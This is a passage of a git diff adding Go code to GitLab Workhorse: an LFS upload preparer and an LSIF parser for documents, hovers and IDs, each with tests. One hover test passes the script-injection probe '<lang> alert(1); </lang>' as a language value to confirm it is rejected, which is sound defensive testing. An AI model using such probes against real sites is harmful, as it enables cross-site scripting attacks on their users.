+import (
+ "fmt"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
+)
+
+type object struct {
+ size int64
+ oid string
+}
+
+func (l *object) Verify(fh *filestore.FileHandler) error {
+ if fh.Size != l.size {
+ return fmt.Errorf("LFSObject: expected size %d, wrote %d", l.size, fh.Size)
+ }
+
+ if fh.SHA256() != l.oid {
+ return fmt.Errorf("LFSObject: expected sha256 %s, got %s", l.oid, fh.SHA256())
+ }
+
+ return nil
+}
+
+type uploadPreparer struct {
+ objectPreparer upload.Preparer
+}
+
+func NewLfsUploadPreparer(c config.Config, objectPreparer upload.Preparer) upload.Preparer {
+ return &uploadPreparer{objectPreparer: objectPreparer}
+}
+
+func (l *uploadPreparer) Prepare(a *api.Response) (*filestore.SaveFileOpts, upload.Verifier, error) {
+ opts, _, err := l.objectPreparer.Prepare(a)
+ if err != nil {
+ return nil, nil, err
+ }
+
+ opts.TempFilePrefix = a.LfsOid
+
+ return opts, &object{oid: a.LfsOid, size: a.LfsSize}, nil
+}
+
+func PutStore(a *api.API, h http.Handler, p upload.Preparer) http.Handler {
+ return upload.BodyUploader(a, h, p)
+}
diff --git a/workhorse/internal/lfs/lfs_test.go b/workhorse/internal/lfs/lfs_test.go
new file mode 100644
index 00000000000..828ed1bfe90
--- /dev/null
+++ b/workhorse/internal/lfs/lfs_test.go
@@ -0,0 +1,61 @@
+package lfs_test
+
+import (
+ "testing"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/lfs"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestLfsUploadPreparerWithConfig(t *testing.T) {
+ lfsOid := "abcd1234"
+ creds := config.S3Credentials{
+ AwsAccessKeyID: "test-key",
+ AwsSecretAccessKey: "test-secret",
+ }
+
+ c := config.Config{
+ ObjectStorageCredentials: config.ObjectStorageCredentials{
+ Provider: "AWS",
+ S3Credentials: creds,
+ },
+ }
+
+ r := &api.Response{
+ LfsOid: lfsOid,
+ RemoteObject: api.RemoteObject{
+ ID: "the upload ID",
+ UseWorkhorseClient: true,
+ ObjectStorage: &api.ObjectStorageParams{
+ Provider: "AWS",
+ },
+ },
+ }
+
+ uploadPreparer := upload.NewObjectStoragePreparer(c)
+ lfsPreparer := lfs.NewLfsUploadPreparer(c, uploadPreparer)
+ opts, verifier, err := lfsPreparer.Prepare(r)
+
+ require.NoError(t, err)
+ require.Equal(t, lfsOid, opts.TempFilePrefix)
+ require.True(t, opts.ObjectStorageConfig.IsAWS())
+ require.True(t, opts.UseWorkhorseClient)
+ require.Equal(t, creds, opts.ObjectStorageConfig.S3Credentials)
+ require.NotNil(t, verifier)
+}
+
+func TestLfsUploadPreparerWithNoConfig(t *testing.T) {
+ c := config.Config{}
+ r := &api.Response{RemoteObject: api.RemoteObject{ID: "the upload ID"}}
+ uploadPreparer := upload.NewObjectStoragePreparer(c)
+ lfsPreparer := lfs.NewLfsUploadPreparer(c, uploadPreparer)
+ opts, verifier, err := lfsPreparer.Prepare(r)
+
+ require.NoError(t, err)
+ require.False(t, opts.UseWorkhorseClient)
+ require.NotNil(t, verifier)
+}
diff --git a/workhorse/internal/lsif_transformer/parser/cache.go b/workhorse/internal/lsif_transformer/parser/cache.go
new file mode 100644
index 00000000000..395069cd217
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/cache.go
@@ -0,0 +1,56 @@
+package parser
+
+import (
+ "encoding/binary"
+ "io"
+ "io/ioutil"
+ "os"
+)
+
+// This cache implementation is using a temp file to provide key-value data storage
+// It allows to avoid storing intermediate calculations in RAM
+// The stored data must be a fixed-size value or a slice of fixed-size values, or a pointer to such data
+type cache struct {
+ file *os.File
+ chunkSize int64
+}
+
+func newCache(tempDir, filename string, data interface{}) (*cache, error) {
+ f, err := ioutil.TempFile(tempDir, filename)
+ if err != nil {
+ return nil, err
+ }
+
+ if err := os.Remove(f.Name()); err != nil {
+ return nil, err
+ }
+
+ return &cache{file: f, chunkSize: int64(binary.Size(data))}, nil
+}
+
+func (c *cache) SetEntry(id Id, data interface{}) error {
+ if err := c.setOffset(id); err != nil {
+ return err
+ }
+
+ return binary.Write(c.file, binary.LittleEndian, data)
+}
+
+func (c *cache) Entry(id Id, data interface{}) error {
+ if err := c.setOffset(id); err != nil {
+ return err
+ }
+
+ return binary.Read(c.file, binary.LittleEndian, data)
+}
+
+func (c *cache) Close() error {
+ return c.file.Close()
+}
+
+func (c *cache) setOffset(id Id) error {
+ offset := int64(id) * c.chunkSize
+ _, err := c.file.Seek(offset, io.SeekStart)
+
+ return err
+}
diff --git a/workhorse/internal/lsif_transformer/parser/cache_test.go b/workhorse/internal/lsif_transformer/parser/cache_test.go
new file mode 100644
index 00000000000..23a2ac6e9a9
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/cache_test.go
@@ -0,0 +1,33 @@
+package parser
+
+import (
+ "io/ioutil"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+type chunk struct {
+ A int16
+ B int16
+}
+
+func TestCache(t *testing.T) {
+ cache, err := newCache("", "test-chunks", chunk{})
+ require.NoError(t, err)
+ defer cache.Close()
+
+ c := chunk{A: 1, B: 2}
+ require.NoError(t, cache.SetEntry(1, &c))
+ require.NoError(t, cache.setOffset(0))
+
+ content, err := ioutil.ReadAll(cache.file)
+ require.NoError(t, err)
+
+ expected := []byte{0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x2, 0x0}
+ require.Equal(t, expected, content)
+
+ var nc chunk
+ require.NoError(t, cache.Entry(1, &nc))
+ require.Equal(t, c, nc)
+}
diff --git a/workhorse/internal/lsif_transformer/parser/code_hover.go b/workhorse/internal/lsif_transformer/parser/code_hover.go
new file mode 100644
index 00000000000..dbdaba643d1
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/code_hover.go
@@ -0,0 +1,124 @@
+package parser
+
+import (
+ "encoding/json"
+ "strings"
+ "unicode/utf8"
+
+ "github.com/alecthomas/chroma"
+ "github.com/alecthomas/chroma/lexers"
+)
+
+const maxValueSize = 250
+
+type token struct {
+ Class string `json:"class,omitempty"`
+ Value string `json:"value"`
+}
+
+type codeHover struct {
+ TruncatedValue *truncatableString `json:"value,omitempty"`
+ Tokens [][]token `json:"tokens,omitempty"`
+ Language string `json:"language,omitempty"`
+ Truncated bool `json:"truncated,omitempty"`
+}
+
+type truncatableString struct {
+ Value string
+ Truncated bool
+}
+
+func (ts *truncatableString) UnmarshalText(b []byte) error {
+ s := 0
+ for i := 0; s < len(b); i++ {
+ if i >= maxValueSize {
+ ts.Truncated = true
+ break
+ }
+
+ _, size := utf8.DecodeRune(b[s:])
+
+ s += size
+ }
+
+ ts.Value = string(b[0:s])
+
+ return nil
+}
+
+func (ts *truncatableString) MarshalJSON() ([]byte, error) {
+ return json.Marshal(ts.Value)
+}
+
+func newCodeHover(content json.RawMessage) (*codeHover, error) {
+ // Hover value can be either an object: { "value": "func main()", "language": "go" }
+ // Or a string with documentation
+ // We try to unmarshal the content into a string and if we fail, we unmarshal it into an object
+ var c codeHover
+ if err := json.Unmarshal(content, &c.TruncatedValue); err != nil {
+ if err := json.Unmarshal(content, &c); err != nil {
+ return nil, err
+ }
+
+ c.setTokens()
+ }
+
+ c.Truncated = c.TruncatedValue.Truncated
+
+ if len(c.Tokens) > 0 {
+ c.TruncatedValue = nil // remove value for hovers which have tokens
+ }
+
+ return &c, nil
+}
+
+func (c *codeHover) setTokens() {
+ lexer := lexers.Get(c.Language)
+ if lexer == nil {
+ return
+ }
+
+ iterator, err := lexer.Tokenise(nil, c.TruncatedValue.Value)
+ if err != nil {
+ return
+ }
+
+ var tokenLines [][]token
+ for _, tokenLine := range chroma.SplitTokensIntoLines(iterator.Tokens()) {
+ var tokens []token
+ var rawToken string
+ for _, t := range tokenLine {
+ class := c.classFor(t.Type)
+
+ // accumulate consequent raw values in a single string to store them as
+ // [{ Class: "kd", Value: "func" }, { Value: " main() {" }] instead of
+ // [{ Class: "kd", Value: "func" }, { Value: " " }, { Value: "main" }, { Value: "(" }...]
+ if class == "" {
+ rawToken = rawToken + t.Value
+ } else {
+ if rawToken != "" {
+ tokens = append(tokens, token{Value: rawToken})
+ rawToken = ""
+ }
+
+ tokens = append(tokens, token{Class: class, Value: t.Value})
+ }
+ }
+
+ if rawToken != "" {
+ tokens = append(tokens, token{Value: rawToken})
+ }
+
+ tokenLines = append(tokenLines, tokens)
+ }
+
+ c.Tokens = tokenLines
+}
+
+func (c *codeHover) classFor(tokenType chroma.TokenType) string {
+ if strings.HasPrefix(tokenType.String(), "Keyword") || tokenType == chroma.String || tokenType == chroma.Comment {
+ return chroma.StandardTypes[tokenType]
+ }
+
+ return ""
+}
diff --git a/workhorse/internal/lsif_transformer/parser/code_hover_test.go b/workhorse/internal/lsif_transformer/parser/code_hover_test.go
new file mode 100644
index 00000000000..2030e530155
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/code_hover_test.go
@@ -0,0 +1,106 @@
+package parser
+
+import (
+ "encoding/json"
+ "fmt"
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestHighlight(t *testing.T) {
+ tests := []struct {
+ name string
+ language string
+ value string
+ want [][]token
+ }{
+ {
+ name: "go function definition",
+ language: "go",
+ value: "func main()",
+ want: [][]token{{{Class: "kd", Value: "func"}, {Value: " main()"}}},
+ },
+ {
+ name: "go struct definition",
+ language: "go",
+ value: "type Command struct",
+ want: [][]token{{{Class: "kd", Value: "type"}, {Value: " Command "}, {Class: "kd", Value: "struct"}}},
+ },
+ {
+ name: "go struct multiline definition",
+ language: "go",
+ value: `struct {\nConfig *Config\nReadWriter *ReadWriter\nEOFSent bool\n}`,
+ want: [][]token{
+ {{Class: "kd", Value: "struct"}, {Value: " {\n"}},
+ {{Value: "Config *Config\n"}},
+ {{Value: "ReadWriter *ReadWriter\n"}},
+ {{Value: "EOFSent "}, {Class: "kt", Value: "bool"}, {Value: "\n"}},
+ {{Value: "}"}},
+ },
+ },
+ {
+ name: "ruby method definition",
+ language: "ruby",
+ value: "def read(line)",
+ want: [][]token{{{Class: "k", Value: "def"}, {Value: " read(line)"}}},
+ },
+ {
+ name: "ruby multiline method definition",
+ language: "ruby",
+ value: `def read(line)\nend`,
+ want: [][]token{
+ {{Class: "k", Value: "def"}, {Value: " read(line)\n"}},
+ {{Class: "k", Value: "end"}},
+ },
+ },
+ {
+ name: "unknown/malicious language is passed",
+ language: "<lang> alert(1); </lang>",
+ value: `def a;\nend`,
+ want: [][]token(nil),
+ },
+ }
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ raw := []byte(fmt.Sprintf(`{"language":"%s","value":"%s"}`, tt.language, tt.value))
+ c, err := newCodeHover(json.RawMessage(raw))
+
+ require.NoError(t, err)
+ require.Equal(t, tt.want, c.Tokens)
+ })
+ }
+}
+
+func TestMarkdown(t *testing.T) {
+ value := `"This method reverses a string \n\n"`
+ c, err := newCodeHover(json.RawMessage(value))
+
+ require.NoError(t, err)
+ require.Equal(t, "This method reverses a string \n\n", c.TruncatedValue.Value)
+}
+
+func TestTruncatedValue(t *testing.T) {
+ value := strings.Repeat("a", 500)
+ rawValue, err := json.Marshal(value)
+ require.NoError(t, err)
+
+ c, err := newCodeHover(rawValue)
+ require.NoError(t, err)
+
+ require.Equal(t, value[0:maxValueSize], c.TruncatedValue.Value)
+ require.True(t, c.TruncatedValue.Truncated)
+}
+
+func TestTruncatingMultiByteChars(t *testing.T) {
+ value := strings.Repeat("ಅ", 500)
+ rawValue, err := json.Marshal(value)
+ require.NoError(t, err)
+
+ c, err := newCodeHover(rawValue)
+ require.NoError(t, err)
+
+ symbolSize := 3
+ require.Equal(t, value[0:maxValueSize*symbolSize], c.TruncatedValue.Value)
+}
diff --git a/workhorse/internal/lsif_transformer/parser/docs.go b/workhorse/internal/lsif_transformer/parser/docs.go
new file mode 100644
index 00000000000..c626e07d3fe
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/docs.go
@@ -0,0 +1,144 @@
+package parser
+
+import (
+ "archive/zip"
+ "bufio"
+ "encoding/json"
+ "io"
+ "strings"
+)
+
+const maxScanTokenSize = 1024 * 1024
+
+type Line struct {
+ Type string `json:"label"`
+}
+
+type Docs struct {
+ Root string
+ Entries map[Id]string
+ DocRanges map[Id][]Id
+ Ranges *Ranges
+}
+
+type Document struct {
+ Id Id `json:"id"`
+ Uri string `json:"uri"`
+}
+
+type DocumentRange struct {
+ OutV Id `json:"outV"`
+ RangeIds []Id `json:"inVs"`
+}
+
+type Metadata struct {
+ Root string `json:"projectRoot"`
+}
+
+func NewDocs(config Config) (*Docs, error) {
+ ranges, err := NewRanges(config)
+ if err != nil {
+ return nil, err
+ }
+
+ return &Docs{
+ Root: "file:///",
+ Entries: make(map[Id]string),
+ DocRanges: make(map[Id][]Id),
+ Ranges: ranges,
+ }, nil
+}
+
+func (d *Docs) Parse(r io.Reader) error {
+ scanner := bufio.NewScanner(r)
+ buf := make([]byte, 0, bufio.MaxScanTokenSize)
+ scanner.Buffer(buf, maxScanTokenSize)
+
+ for scanner.Scan() {
+ if err := d.process(scanner.Bytes()); err != nil {
+ return err
+ }
+ }
+
+ return scanner.Err()
+}
+
+func (d *Docs) process(line []byte) error {
+ l := Line{}
+ if err := json.Unmarshal(line, &l); err != nil {
+ return err
+ }
+
+ switch l.Type {
+ case "metaData":
+ if err := d.addMetadata(line); err != nil {
+ return err
+ }
+ case "document":
+ if err := d.addDocument(line); err != nil {
+ return err
+ }
+ case "contains":
+ if err := d.addDocRanges(line); err != nil {
+ return err
+ }
+ default:
+ return d.Ranges.Read(l.Type, line)
+ }
+
+ return nil
+}
+
+func (d *Docs) Close() error {
+ return d.Ranges.Close()
+}
+
+func (d *Docs) SerializeEntries(w *zip.Writer) error {
+ for id, path := range d.Entries {
+ filePath := Lsif + "/" + path + ".json"
+
+ f, err := w.Create(filePath)
+ if err != nil {
+ return err
+ }
+
+ if err := d.Ranges.Serialize(f, d.DocRanges[id], d.Entries); err != nil {
+ return err
+ }
+ }
+
+ return nil
+}
+
+func (d *Docs) addMetadata(line []byte) error {
+ var metadata Metadata
+ if err := json.Unmarshal(line, &metadata); err != nil {
+ return err
+ }
+
+ d.Root = strings.TrimSpace(metadata.Root) + "/"
+
+ return nil
+}
+
+func (d *Docs) addDocument(line []byte) error {
+ var doc Document
+ if err := json.Unmarshal(line, &doc); err != nil {
+ return err
+ }
+
+ d.Entries[doc.Id] = strings.TrimPrefix(doc.Uri, d.Root)
+
+ return nil
+}
+
+func (d *Docs) addDocRanges(line []byte) error {
+ var docRange DocumentRange
+ if err := json.Unmarshal(line, &docRange); err != nil {
+ return err
+ }
+
+ d.DocRanges[docRange.OutV] = append(d.DocRanges[docRange.OutV], docRange.RangeIds...)
+
+ return nil
+}
diff --git a/workhorse/internal/lsif_transformer/parser/docs_test.go b/workhorse/internal/lsif_transformer/parser/docs_test.go
new file mode 100644
index 00000000000..57dca8e773d
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/docs_test.go
@@ -0,0 +1,54 @@
+package parser
+
+import (
+ "bytes"
+ "fmt"
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func createLine(id, label, uri string) []byte {
+ return []byte(fmt.Sprintf(`{"id":"%s","label":"%s","uri":"%s"}`+"\n", id, label, uri))
+}
+
+func TestParse(t *testing.T) {
+ d, err := NewDocs(Config{})
+ require.NoError(t, err)
+ defer d.Close()
+
+ data := []byte(`{"id":"1","label":"metaData","projectRoot":"file:///Users/nested"}` + "\n")
+ data = append(data, createLine("2", "document", "file:///Users/nested/file.rb")...)
+ data = append(data, createLine("3", "document", "file:///Users/nested/folder/file.rb")...)
+ data = append(data, createLine("4", "document", "file:///Users/wrong/file.rb")...)
+
+ require.NoError(t, d.Parse(bytes.NewReader(data)))
+
+ require.Equal(t, d.Entries[2], "file.rb")
+ require.Equal(t, d.Entries[3], "folder/file.rb")
+ require.Equal(t, d.Entries[4], "file:///Users/wrong/file.rb")
+}
+
+func TestParseContainsLine(t *testing.T) {
+ d, err := NewDocs(Config{})
+ require.NoError(t, err)
+ defer d.Close()
+
+ data := []byte(`{"id":"5","label":"contains","outV":"1", "inVs": ["2", "3"]}` + "\n")
+ data = append(data, []byte(`{"id":"6","label":"contains","outV":"1", "inVs": [4]}`+"\n")...)
+
+ require.NoError(t, d.Parse(bytes.NewReader(data)))
+
+ require.Equal(t, []Id{2, 3, 4}, d.DocRanges[1])
+}
+
+func TestParsingVeryLongLine(t *testing.T) {
+ d, err := NewDocs(Config{})
+ require.NoError(t, err)
+ defer d.Close()
+
+ line := []byte(`{"id": "` + strings.Repeat("a", 64*1024) + `"}`)
+
+ require.NoError(t, d.Parse(bytes.NewReader(line)))
+}
diff --git a/workhorse/internal/lsif_transformer/parser/errors.go b/workhorse/internal/lsif_transformer/parser/errors.go
new file mode 100644
index 00000000000..1040a789413
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/errors.go
@@ -0,0 +1,30 @@
+package parser
+
+import (
+ "errors"
+ "strings"
+)
+
+func combineErrors(errsOrNil ...error) error {
+ var errs []error
+ for _, err := range errsOrNil {
+ if err != nil {
+ errs = append(errs, err)
+ }
+ }
+
+ if len(errs) == 0 {
+ return nil
+ }
+
+ if len(errs) == 1 {
+ return errs[0]
+ }
+
+ var msgs []string
+ for _, err := range errs {
+ msgs = append(msgs, err.Error())
+ }
+
+ return errors.New(strings.Join(msgs, "\n"))
+}
diff --git a/workhorse/internal/lsif_transformer/parser/errors_test.go b/workhorse/internal/lsif_transformer/parser/errors_test.go
new file mode 100644
index 00000000000..31a7130d05e
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/errors_test.go
@@ -0,0 +1,26 @@
+package parser
+
+import (
+ "errors"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+type customErr struct {
+ err string
+}
+
+func (e customErr) Error() string {
+ return e.err
+}
+
+func TestCombineErrors(t *testing.T) {
+ err := combineErrors(nil, errors.New("first"), nil, customErr{"second"})
+ require.EqualError(t, err, "first\nsecond")
+
+ err = customErr{"custom error"}
+ require.Equal(t, err, combineErrors(nil, err, nil))
+
+ require.Nil(t, combineErrors(nil, nil, nil))
+}
diff --git a/workhorse/internal/lsif_transformer/parser/hovers.go b/workhorse/internal/lsif_transformer/parser/hovers.go
new file mode 100644
index 00000000000..e96d7e4fca3
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/hovers.go
@@ -0,0 +1,162 @@
+package parser
+
+import (
+ "encoding/json"
+ "io/ioutil"
+ "os"
+)
+
+type Offset struct {
+ At int32
+ Len int32
+}
+
+type Hovers struct {
+ File *os.File
+ Offsets *cache
+ CurrentOffset int
+}
+
+type RawResult struct {
+ Contents []json.RawMessage `json:"contents"`
+}
+
+type RawData struct {
+ Id Id `json:"id"`
+ Result RawResult `json:"result"`
+}
+
+type HoverRef struct {
+ ResultSetId Id `json:"outV"`
+ HoverId Id `json:"inV"`
+}
+
+type ResultSetRef struct {
+ ResultSetId Id `json:"outV"`
+ RefId Id `json:"inV"`
+}
+
+func NewHovers(config Config) (*Hovers, error) {
+ tempPath := config.TempPath
+
+ file, err := ioutil.TempFile(tempPath, "hovers")
+ if err != nil {
+ return nil, err
+ }
+
+ if err := os.Remove(file.Name()); err != nil {
+ return nil, err
+ }
+
+ offsets, err := newCache(tempPath, "hovers-indexes", Offset{})
+ if err != nil {
+ return nil, err
+ }
+
+ return &Hovers{
+ File: file,
+ Offsets: offsets,
+ CurrentOffset: 0,
+ }, nil
+}
+
+func (h *Hovers) Read(label string, line []byte) error {
+ switch label {
+ case "hoverResult":
+ if err := h.addData(line); err != nil {
+ return err
+ }
+ case "textDocument/hover":
+ if err := h.addHoverRef(line); err != nil {
+ return err
+ }
+ case "textDocument/references":
+ if err := h.addResultSetRef(line); err != nil {
+ return err
+ }
+ }
+
+ return nil
+}
+
+func (h *Hovers) For(refId Id) json.RawMessage {
+ var offset Offset
+ if err := h.Offsets.Entry(refId, &offset); err != nil || offset.Len == 0 {
+ return nil
+ }
+
+ hover := make([]byte, offset.Len)
+ _, err := h.File.ReadAt(hover, int64(offset.At))
+ if err != nil {
+ return nil
+ }
+
+ return json.RawMessage(hover)
+}
+
+func (h *Hovers) Close() error {
+ return combineErrors(
+ h.File.Close(),
+ h.Offsets.Close(),
+ )
+}
+
+func (h *Hovers) addData(line []byte) error {
+ var rawData RawData
+ if err := json.Unmarshal(line, &rawData); err != nil {
+ return err
+ }
+
+ codeHovers := []*codeHover{}
+ for _, rawContent := range rawData.Result.Contents {
+ c, err := newCodeHover(rawContent)
+ if err != nil {
+ return err
+ }
+
+ codeHovers = append(codeHovers, c)
+ }
+
+ codeHoversData, err := json.Marshal(codeHovers)
+ if err != nil {
+ return err
+ }
+
+ n, err := h.File.Write(codeHoversData)
+ if err != nil {
+ return err
+ }
+
+ offset := Offset{At: int32(h.CurrentOffset), Len: int32(n)}
+ h.CurrentOffset += n
+
+ return h.Offsets.SetEntry(rawData.Id, &offset)
+}
+
+func (h *Hovers) addHoverRef(line []byte) error {
+ var hoverRef HoverRef
+ if err := json.Unmarshal(line, &hoverRef); err != nil {
+ return err
+ }
+
+ var offset Offset
+ if err := h.Offsets.Entry(hoverRef.HoverId, &offset); err != nil {
+ return err
+ }
+
+ return h.Offsets.SetEntry(hoverRef.ResultSetId, &offset)
+}
+
+func (h *Hovers) addResultSetRef(line []byte) error {
+ var ref ResultSetRef
+ if err := json.Unmarshal(line, &ref); err != nil {
+ return err
+ }
+
+ var offset Offset
+ if err := h.Offsets.Entry(ref.ResultSetId, &offset); err != nil {
+ return nil
+ }
+
+ return h.Offsets.SetEntry(ref.RefId, &offset)
+}
diff --git a/workhorse/internal/lsif_transformer/parser/hovers_test.go b/workhorse/internal/lsif_transformer/parser/hovers_test.go
new file mode 100644
index 00000000000..3037be103af
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/hovers_test.go
@@ -0,0 +1,30 @@
+package parser
+
+import (
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestHoversRead(t *testing.T) {
+ h := setupHovers(t)
+
+ var offset Offset
+ require.NoError(t, h.Offsets.Entry(2, &offset))
+ require.Equal(t, Offset{At: 0, Len: 19}, offset)
+
+ require.Equal(t, `[{"value":"hello"}]`, string(h.For(1)))
+
+ require.NoError(t, h.Close())
+}
+
+func setupHovers(t *testing.T) *Hovers {
+ h, err := NewHovers(Config{})
+ require.NoError(t, err)
+
+ require.NoError(t, h.Read("hoverResult", []byte(`{"id":"2","label":"hoverResult","result":{"contents": ["hello"]}}`)))
+ require.NoError(t, h.Read("textDocument/hover", []byte(`{"id":4,"label":"textDocument/hover","outV":"3","inV":2}`)))
+ require.NoError(t, h.Read("textDocument/references", []byte(`{"id":"3","label":"textDocument/references","outV":3,"inV":"1"}`)))
+
+ return h
+}
diff --git a/workhorse/internal/lsif_transformer/parser/id.go b/workhorse/internal/lsif_transformer/parser/id.go
new file mode 100644
index 00000000000..2adc4e092f5
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/id.go
@@ -0,0 +1,52 @@
+package parser
+
+import (
+ "encoding/json"
+ "errors"
+ "strconv"
+)
+
+const (
+ minId = 1
+ maxId = 20 * 1000 * 1000
+)
+
+type Id int32
+
+func (id *Id) UnmarshalJSON(b []byte) error {
+ if len(b) > 0 && b[0] != '"' {
+ if err := id.unmarshalInt(b); err != nil {
+ return err
+ }
+ } else {
+ if err := id.unmarshalString(b); err != nil {
+ return err
+ }
+ }
+
+ if *id < minId || *id > maxId {
+ return errors.New("json: id is invalid")
+ }
+
+ return nil
+}
+
+func (id *Id) unmarshalInt(b []byte) error {
+ return json.Unmarshal(b, (*int32)(id))
+}
+
+func (id *Id) unmarshalString(b []byte) error {
+ var s string
+ if err := json.Unmarshal(b, &s); err != nil {
+ return err
+ }
+
+ i, err := strconv.Atoi(s)
+ if err != nil {
+ return err
+ }
+
+ *id = Id(i)
+
+ return nil
+}
diff --git a/workhorse/internal/lsif_transformer/parser/id_test.go b/workhorse/internal/lsif_transformer/parser/id_test.go
new file mode 100644
index 00000000000..c1c53928378
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/id_test.go
@@ -0,0 +1,28 @@
+package parser
+
+import (
+ "encoding/json"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+type jsonWithId struct {
+ Value Id `json:"value"`
+}
+
+func TestId(t *testing.T) {
+ var v jsonWithId
+ require.NoError(t, json.Unmarshal([]byte(`{ "value": 1230 }`), &v))
+ require.Equal(t, Id(1230), v.Value)
+
+ require.NoError(t, json.Unmarshal([]byte(`{ "value": "1230" }`), &v))
+ require.Equal(t, Id(1230), v.Value)
+
+ require.Error(t, json.Unmarshal([]byte(`{ "value": "1.5" }`), &v))
+ require.Error(t, json.Unmarshal([]byte(`{ "value": 1.5 }`), &v))
+ require.Error(t, json.Unmarshal([]byte(`{ "value": "-1" }`), &v))
+ require.Error(t, json.Unmarshal([]byte(`{ "value": -1 }`), &v))
+ require.Error(t, json.Unmarshal([]byte(`{ "value": 21000000 }`), &v))
+ require.Error(t, json.Unmarshal([]byte(`{ "value": "21000000" }`), &v))
+}
diff --git a/workhorse/internal/lsif_transformer/parser/parser.go b/workhorse/internal/lsif_transformer/parser/parser.go
new file mode 100644
index 00000000000..085e7a856aa
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/parser.go
@@ -0,0 +1,109 @@
+package parser
+
+import (
+ "archive/zip"
+ "context"
+ "errors"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "os"
+
+ "gitlab.com/gitlab-org/labkit/log"
+)
+
+var (
+ Lsif = "lsif"
+)
+
+type Parser struct {
+ Docs *Docs
+
+ pr *io.PipeReader
+}
+
+type Config struct {
+ TempPath string
+}
+
+func NewParser(ctx context.Context, r io.Reader, config Config) (io.ReadCloser, error) {
+ docs, err := NewDocs(config)
+ if err != nil {
+ return nil, err
+ }
+
+ // ZIP files need to be seekable. Don't hold it all in RAM, use a tempfile
+ tempFile, err := ioutil.TempFile(config.TempPath, Lsif)
+ if err != nil {
+ return nil, err
+ }
+
+ defer tempFile.Close()
+
+ if err := os.Remove(tempFile.Name()); err != nil {
+ return nil, err
+ }
+
+ size, err := io.Copy(tempFile, r)
+ if err != nil {
+ return nil, err
+ }
+ log.WithContextFields(ctx, log.Fields{"lsif_zip_cache_bytes": size}).Print("cached incoming LSIF zip on disk")
+
+ zr, err := zip.NewReader(tempFile, size)
+ if err != nil {
+ return nil, err
+ }
+
+ if len(zr.File) == 0 {
+ return nil, errors.New("empty zip file")
+ }
+
+ file, err := zr.File[0].Open()
+ if err != nil {
+ return nil, err
+ }
+
+ defer file.Close()
+
+ if err := docs.Parse(file); err != nil {
+ return nil, err
+ }
+
+ pr, pw := io.Pipe()
+ parser := &Parser{
+ Docs: docs,
+ pr: pr,
+ }
+
+ go parser.transform(pw)
+
+ return parser, nil
+}
+
+func (p *Parser) Read(b []byte) (int, error) {
+ return p.pr.Read(b)
+}
+
+func (p *Parser) Close() error {
+ p.pr.Close()
+
+ return p.Docs.Close()
+}
+
+func (p *Parser) transform(pw *io.PipeWriter) {
+ zw := zip.NewWriter(pw)
+
+ if err := p.Docs.SerializeEntries(zw); err != nil {
+ zw.Close() // Free underlying resources only
+ pw.CloseWithError(fmt.Errorf("lsif parser: Docs.SerializeEntries: %v", err))
+ return
+ }
+
+ if err := zw.Close(); err != nil {
+ pw.CloseWithError(fmt.Errorf("lsif parser: ZipWriter.Close: %v", err))
+ return
+ }
+
+ pw.Close()
+}
diff --git a/workhorse/internal/lsif_transformer/parser/parser_test.go b/workhorse/internal/lsif_transformer/parser/parser_test.go
new file mode 100644
index 00000000000..3a4d72360e2
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/parser_test.go
@@ -0,0 +1,80 @@
+package parser
+
+import (
+ "archive/zip"
+ "bytes"
+ "context"
+ "encoding/json"
+ "io"
+ "io/ioutil"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestGenerate(t *testing.T) {
+ filePath := "testdata/dump.lsif.zip"
+ tmpDir := filePath + ".tmp"
+ defer os.RemoveAll(tmpDir)
+
+ createFiles(t, filePath, tmpDir)
+
+ verifyCorrectnessOf(t, tmpDir, "lsif/main.go.json")
+ verifyCorrectnessOf(t, tmpDir, "lsif/morestrings/reverse.go.json")
+}
+
+func verifyCorrectnessOf(t *testing.T, tmpDir, fileName string) {
+ file, err := ioutil.ReadFile(filepath.Join(tmpDir, fileName))
+ require.NoError(t, err)
+
+ var buf bytes.Buffer
+ require.NoError(t, json.Indent(&buf, file, "", " "))
+
+ expected, err := ioutil.ReadFile(filepath.Join("testdata/expected/", fileName))
+ require.NoError(t, err)
+
+ require.Equal(t, string(expected), buf.String())
+}
+
+func createFiles(t *testing.T, filePath, tmpDir string) {
+ t.Helper()
+ file, err := os.Open(filePath)
+ require.NoError(t, err)
+
+ parser, err := NewParser(context.Background(), file, Config{})
+ require.NoError(t, err)
+
+ zipFileName := tmpDir + ".zip"
+ w, err := os.Create(zipFileName)
+ require.NoError(t, err)
+ defer os.RemoveAll(zipFileName)
+
+ _, err = io.Copy(w, parser)
+ require.NoError(t, err)
